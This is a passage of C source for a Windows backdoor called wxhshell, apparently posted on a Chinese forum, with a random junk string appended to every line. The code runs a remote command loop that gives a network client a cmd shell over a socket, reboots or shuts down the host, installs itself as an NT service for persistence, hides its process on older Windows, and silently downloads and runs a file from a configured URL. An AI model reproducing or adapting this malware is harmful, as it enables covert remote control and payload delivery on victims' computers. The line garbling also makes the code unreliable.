  // 帮助 6Vq]AQx  
  case '?': { BK+(Uf;g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HizMjJ|  
    break; Muhq,>!U  
  } tA,#!Z0  
  // 安装 OfSy_#aEK  
  case 'i': { S7/0B4[  
    if(Install()) E~k_4z% M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;t^8lC?>V  
    else X?B9Z8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NZj_7j|o9  
    break; ^:c:~F6J  
    } 'yrU_k,h  
  // 卸载 jsXj9:X I  
  case 'r': { 83^|a5  
    if(Uninstall()) zAr@vBfC%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vmV<PK-  
    else Glt%%TJb   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $d@_R^]X  
    break; 'Fe1]B"Y  
    } s :4<wmu4=  
  // 显示 wxhshell 所在路径 hM": ?Rx  
  case 'p': { W0++q=F  
    char svExeFile[MAX_PATH]; AX {~A:B  
    strcpy(svExeFile,"\n\r"); %`o3YR  
      strcat(svExeFile,ExeFile); 4sj:%% UE  
        send(wsh,svExeFile,strlen(svExeFile),0); ^CZ)!3qd1  
    break; =f4v: j}'|  
    } q;XO1Se  
  // 重启 z j[/~ I  
  case 'b': { kX\\t.nH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jl!rCOLt4  
    if(Boot(REBOOT)) @D<KG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |~6X: M61  
    else { N*dO'ol  
    closesocket(wsh); cqr4P`Oj  
    ExitThread(0); 9}\{0;9  
    } 9`3%o9V9Y  
    break; f/_RtOSw  
    } Z(' iZ'55F  
  // 关机 M-  f)\`I  
  case 'd': { 0Q2P"1>KT/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 09_L^'`  
    if(Boot(SHUTDOWN)) <($'jlZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A;pVi;7  
    else { %J_`-\)"{~  
    closesocket(wsh); b IS 3  
    ExitThread(0); L`fDc  
    } pi'w40!:  
    break; >o#5tNm  
    } T'n~Qf U  
  // 获取shell  qac4GZ  
  case 's': { ";I|\ T  
    CmdShell(wsh); GMY"*J<E  
    closesocket(wsh); ~"oxytJ  
    ExitThread(0); ~y#jq,i/  
    break; /& qN yo  
  } f*+eu @  
  // 退出 h{dR)#)GF<  
  case 'x': { hQm"K~SW=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (#4   
    CloseIt(wsh); ac/=%om8u  
    break; "R"7'sJMI  
    } S\qYw(G  
  // 离开 HJ&|&tT  
  case 'q': { UR/l M,N;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O Oa}+^-j  
    closesocket(wsh); #$<7  
    WSACleanup(); yK1Z&7>J>  
    exit(1); ]5!}S-uJq  
    break; %T.4Aj  
        } dkz79G}e  
  } GzJ("RE0)v  
  } {V> >a  
rv(Qz|K@  
  // 提示信息 /Dn,;@ZwAi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U%swqle4  
} +m> %(?=A  
  } t+R8{9L-  
-Qs4 s  
  return; RJ#xq#l  
} \= M*x  
+) pO82  
// shell模块句柄 )czuJ5  
int CmdShell(SOCKET sock) s^ t1T&  
{ ews4qP  
STARTUPINFO si; 1gq(s2izy  
ZeroMemory(&si,sizeof(si)); ^|z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4FmT.P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &x}a  
PROCESS_INFORMATION ProcessInfo; yv.UNcP?  
char cmdline[]="cmd"; 0?D`|x_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4t(V)1+  
  return 0; m=Z1DJG  
} }CR@XD}[  
N2!HkUy2  
// 自身启动模式 XO*|P\#^  
int StartFromService(void) qusX]Tst z  
{ 3Mvm'T:[  
typedef struct E~=`Ac,G2  
{ hFDY2Cp]D  
  DWORD ExitStatus; $'SWH+G  
  DWORD PebBaseAddress; KL2#Bm_  
  DWORD AffinityMask; 6K/j,e>L  
  DWORD BasePriority; ^Vl{IsY  
  ULONG UniqueProcessId; {8NnRnzU  
  ULONG InheritedFromUniqueProcessId; DEGEr-  
}   PROCESS_BASIC_INFORMATION; Ms^U`P^V~P  
:hre|$@{a  
PROCNTQSIP NtQueryInformationProcess; E!d;ym  
r!qr'Ht<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ig&=(Kmr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v&[Ff|>  
9=(*#gRd  
  HANDLE             hProcess; J|DID+M  
  PROCESS_BASIC_INFORMATION pbi; 3y}0J @  
H /E.R[\+x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F`l r5  
  if(NULL == hInst ) return 0; F,Ls1  
0]tr&BLl*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ={Bcbj{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4I"p>FIkY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +w~ <2Kt8  
 pw^$WK  
  if (!NtQueryInformationProcess) return 0; WU:~T.Su  
[L.+N@M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [4V{~`sF  
  if(!hProcess) return 0; [25[c><:w"  
b)+;#m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s~ZLnEb  
`QH-VR\_  
  CloseHandle(hProcess); NaeG2>1  
x|#R$^4CY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !/+'O}@-E  
if(hProcess==NULL) return 0; _]SV@q^  
|hsg= LX  
HMODULE hMod; [.M<h^xrB  
char procName[255]; ?a ~59!u  
unsigned long cbNeeded; W^}fAcQKH  
aCu 8 D!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^Ge3"^x1  
h J*2q"  
  CloseHandle(hProcess); MfJ;":]O!  
&5]&6TD6  
if(strstr(procName,"services")) return 1; // 以服务启动 0n5{Wr$  
jB+K)NXHL  
  return 0; // 注册表启动 !Cq2<[K#  
} MP5 vc5[  
3b1;f)t  
// 主模块 |9YY8oT.  
int StartWxhshell(LPSTR lpCmdLine) p 8,wr )  
{ 4Wz@^7|V5  
  SOCKET wsl; p^QEk~qw  
BOOL val=TRUE; .>4Zt'gCt  
  int port=0; `)sC".b7  
  struct sockaddr_in door; @" -[@  
K `|%-k+D  
  if(wscfg.ws_autoins) Install(); huj 6Ysr  
"~ 1:7{k  
port=atoi(lpCmdLine); #r\,oXTm  
q~*9A-MH  
if(port<=0) port=wscfg.ws_port; T%{qwZc+mJ  
#bxUI{*J  
  WSADATA data; *VJT]^_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jH+ddBVA  
Up:<NHJT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2Zf} t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FsZW,  
  door.sin_family = AF_INET; #G'Y 2l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qmNgEz%  
  door.sin_port = htons(port); ,(h:0L2v7d  
8Z YF%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KI* erK [d  
closesocket(wsl); y|sU-O2}Dl  
return 1; U?vG?{A  
} T#ktC0W]h  
`zQ2 i}Uju  
  if(listen(wsl,2) == INVALID_SOCKET) { TQXp9juK  
closesocket(wsl); W{pyU \  
return 1; +;Yd<~!c Z  
} <g/Z(<{wor  
  Wxhshell(wsl); zcF`Z {&+  
  WSACleanup(); 6[r-8_  
x+?P/Ckg  
return 0; Mf 7 Z5  
={HYwP;  
} Lt\Wz'6Y  
5u(,g1s}UZ  
// 以NT服务方式启动 <1r#hFUUL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uc>u=kEue  
{ A1VbqA  
DWORD   status = 0; ]r]=Q"/5  
  DWORD   specificError = 0xfffffff; j2@19YXe@  
qa>Z?/w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; woQ UrO(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O+8]y4%5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u"WqI[IV  
  serviceStatus.dwWin32ExitCode     = 0; "x;|li3;  
  serviceStatus.dwServiceSpecificExitCode = 0; K)e;*D  
  serviceStatus.dwCheckPoint       = 0; {#-I;I:  
  serviceStatus.dwWaitHint       = 0; T7F)'Mx<  
??X3teO{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <4l;I*:2&  
  if (hServiceStatusHandle==0) return; [SnnOqWw  
wrORyj  
status = GetLastError(); 7/$r  
  if (status!=NO_ERROR) F 7v 1rf]  
{ oP[R?zN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <xb=.xe  
    serviceStatus.dwCheckPoint       = 0; !CJh6X !  
    serviceStatus.dwWaitHint       = 0; B,2oA]W"S  
    serviceStatus.dwWin32ExitCode     = status; mmN!=mf*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;nzzt~aCC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PWavq?SR  
    return; s{QS2G$5  
  } 0a1Vj56{)  
#*J+4a w3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2u B66i  
  serviceStatus.dwCheckPoint       = 0; `$kKTc:f  
  serviceStatus.dwWaitHint       = 0; #Cj$;q{!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `>kHJI4  
} 4&)4hF  
hv]}b'M$  
// 处理NT服务事件,比如:启动、停止 orT%lHwjL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WUEjWJA-MB  
{ .ty^k@J|]  
switch(fdwControl) |sG@Ku7~4  
{ Bu%TTbnz_G  
case SERVICE_CONTROL_STOP: /'yi!:FZFC  
  serviceStatus.dwWin32ExitCode = 0; @<n8?"{5S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *hm;C+<~  
  serviceStatus.dwCheckPoint   = 0; .>/Tc  
  serviceStatus.dwWaitHint     = 0; g8+Ke'=_  
  { ceKR?%8s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); APne!  
  } D@-'<0=  
  return; ,McwPHEMB  
case SERVICE_CONTROL_PAUSE: c8R#=^ DD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t<UtSkE1  
  break; 3#d?  
case SERVICE_CONTROL_CONTINUE: '[T#d!T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JDa=+\_  
  break; |._9;T-Yde  
case SERVICE_CONTROL_INTERROGATE: cH== OM7&-  
  break; KNI* :  
}; ?3=D-Xrb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GS<aXh k  
} ~7kIe+V  
vt(A?$j|A  
// 标准应用程序主函数 1\hh,s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P&6hk6#  
{ Q&JnF`*  
U]8 @  
// 获取操作系统版本 Ao2m"ym  
OsIsNt=GetOsVer(); 49e~/YY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _0razNk  
o%~PWA*Qp  
  // 从命令行安装 (toN? ?r  
  if(strpbrk(lpCmdLine,"iI")) Install(); @,=E[c 8  
Q')0 T>F-  
  // 下载执行文件 UNoNsmP  
if(wscfg.ws_downexe) { #3+-vyZm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z?b[ 6DLV;  
  WinExec(wscfg.ws_filenam,SW_HIDE); &efwfnG<  
} J2va Kl  
]j^V5y"  
if(!OsIsNt) { 2 c%*u {=:  
// 如果时win9x,隐藏进程并且设置为注册表启动 #iZ%CY\  
HideProc(); ^Z6N&s#6  
StartWxhshell(lpCmdLine); ! u4'1jd[d  
} Vk3xWD~  
else "Z\^dR  
  if(StartFromService()) `1 tD&te0  
  // 以服务方式启动 w^rINPAS  
  StartServiceCtrlDispatcher(DispatchTable); h 8ND=(  
else !BQ:R(w  
  // 普通方式启动 )/B' ODa  
  StartWxhshell(lpCmdLine); +!'rw D  
.b3c n  
return 0; Gtyy^tz[  
}
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只看该作者 1 发表于: 2006-10-10
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